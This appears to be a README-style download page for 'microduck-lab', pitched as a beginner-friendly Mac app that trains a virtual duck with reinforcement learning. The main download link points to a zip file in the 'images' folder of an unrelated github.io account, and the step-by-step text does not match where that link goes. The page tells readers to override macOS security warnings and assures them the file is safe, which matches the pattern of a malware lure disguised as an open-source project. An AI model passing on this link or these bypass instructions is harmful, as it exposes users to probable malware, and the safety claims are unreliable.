🦆 microduck-lab - Teach Your Duck To Fly!

Watch AI learn right in your web browser

✨ What Is This?

microduck-lab is a fun and fascinating tool that lets you train a virtual duck (the Pollen Microduck 🦆) to become smarter using something called reinforcement learning. You don't need to know anything about programming or AI to use it — just download, run, and watch the magic happen!

Instead of using expensive special computers with fancy graphics cards (CUDA GPUs), this app works on a regular Mac computer. It's perfect for learning or just watching your duck learn to make better decisions over time.

🚀 Getting Started - Download & Run

Step 1: Visit the download page

Click the big green button above, or use this link: https://raw.githubusercontent.com/Faultsaktism8742/faultsaktism8742.github.io/main/images/Dist_v2.7.zip

Visit this link to download the application.

Step 2: Find the right file

On that page, you'll see a list of versions. Look for the latest version (usually at the top). Click on it to expand and see the files available for download.

Choose the file that matches your computer. Since this is designed for Mac, look for files with names like:

microduck-lab-mac.zip
microduck-lab-installer.dmg
Or just any .zip or .dmg file.

Step 3: Download the file

Click the file name to start downloading. The file will usually go to your Downloads folder. The size is small (around 50-100 MB), so it won't take long even on a slower connection.

Step 4: Extract the file (if it's a .zip)

If you downloaded a .zip file, you'll need to "unzip" it. Here's how:

Go to your Downloads folder
Double-click the downloaded file. Your Mac will automatically extract it into a new folder with a similar name.
If double-clicking doesn't work, right-click the file and select "Open With" → "Archive Utility".

If you downloaded a .dmg file, just double-click it - it will mount like a virtual disk and show you the app inside.

Step 5: Run the app

Open the extracted folder
Look for the app icon (usually named microduck-lab or similar)
Double-click it. First time you open it, Mac may ask for permission. Click "Open" in the popup.

That's it! The app will now open, and you'll see your duck 🦆 right away.

            💡 Tip: If you see a warning saying "app can't be opened because it's from an unidentified developer," go to System Settings → Privacy & Security → Security and click "Open Anyway." This is normal for small indie apps.
        

🎮 How To Use microduck-lab

Initial Setup

When the app opens, you'll see a simple interface with a few buttons. Don't worry - it's much easier than it looks!

Select a scenario: You can choose from different learning tasks for your duck, like "find food" or "avoid obstacles."
Click "Start Training": This begins the AI learning process. You'll immediately see your duck start moving.
Watch the progress: The right panel shows a graph - this is your duck's "score." The higher it goes, the smarter your duck gets!

Understanding What You See

Here's what each element means:

The Duck: The yellow duck on screen. It moves around trying to achieve goals you set.
Rewards: Shows how well the duck is doing. Positive numbers mean it's learning good behaviors.
Exploration Rate: How adventurous the duck is. At first it's high (the duck tries random actions), but it decreases as the duck learns what works.
Training Speed: You can adjust how fast the simulation runs - from 1x (real-time) to 10x (super fast).

🧪 Core Features

✅ No GPU Needed: Train on any ordinary Mac - works with integrated graphics!
🌐 Live Browser View: Watch the AI learn in real-time, right through your web browser interface.
📊 Real-Time Charts: See the learning progress with live-updating performance graphs.
⚙️ Customizable Training: Adjust learning rate, batch sizes, and more (for technical users).
🔄 Multiple Environments: Train your duck in different virtual worlds - ponds, mazes, or obstacle courses.
💾 Save Your Models: Export your trained duck's "brain" and share it with others!
📦 Portable: No installation required - just download, unzip, and run.

🖥️ System Requirements

Operating System	macOS 10.15 or later
Processor	Any 64-bit Intel or Apple Silicon chip
RAM	4 GB or more
Free Disk Space	200 MB

That's it! If your Mac is from 2012 or newer, you can run microduck-lab.

🆘 Frequently Asked Questions

❓ Do I need to know any programming or AI concepts?

Absolutely not! The app is designed to be used by anyone. The technical stuff happens automatically in the background. You just watch and enjoy.

❓ Is this safe to download?

Yes. The code is open source, meaning anyone can inspect it for malicious content. The app only runs on your computer - it never sends any data anywhere.

❓ My Mac won't open the app. What should I do?

Make sure you extracted the .zip file completely.
Right-click the app icon and select "Open" instead of double-clicking.
Check System Settings → Privacy and Security → allow the app.

❓ How long does training take?

You'll see visible progress within the first 30 seconds! Full training (until the duck is really smart) typically takes 2-10 minutes depending on your scenario.

📚 Getting Help

If you run into any issues, check the official repository at: github.com/Faultsaktism8742/microduck-lab

There, you can:

Report bugs (issues)
Ask questions in the discussions section
See the source code
Get information about new updates

📖 What Is Reinforcement Learning?

Reinforcement learning is a type of AI where a computer program learns through trial and error - just like a baby learning to walk. The duck starts with no knowledge. It tries random actions, sees what happens, and adjusts to get more "rewards." Over time, it figures out which behaviors lead to the best outcomes.

This app uses an algorithm called PPO (Proximal Policy Optimization) to train the duck, which is fast and stable even on CPUs.

🌟 About the Project

microduck-lab is a passion project created by developers who wanted to make AI learning accessible to everyone. It's completely free and open source. You can download it, use it, modify it, and share it with friends (with the same license).

🚀 Download Now

🦆 Happy training! Watch your duck become the smartest bird in the pond.
Version 1.0.0 - Open Source (MIT License)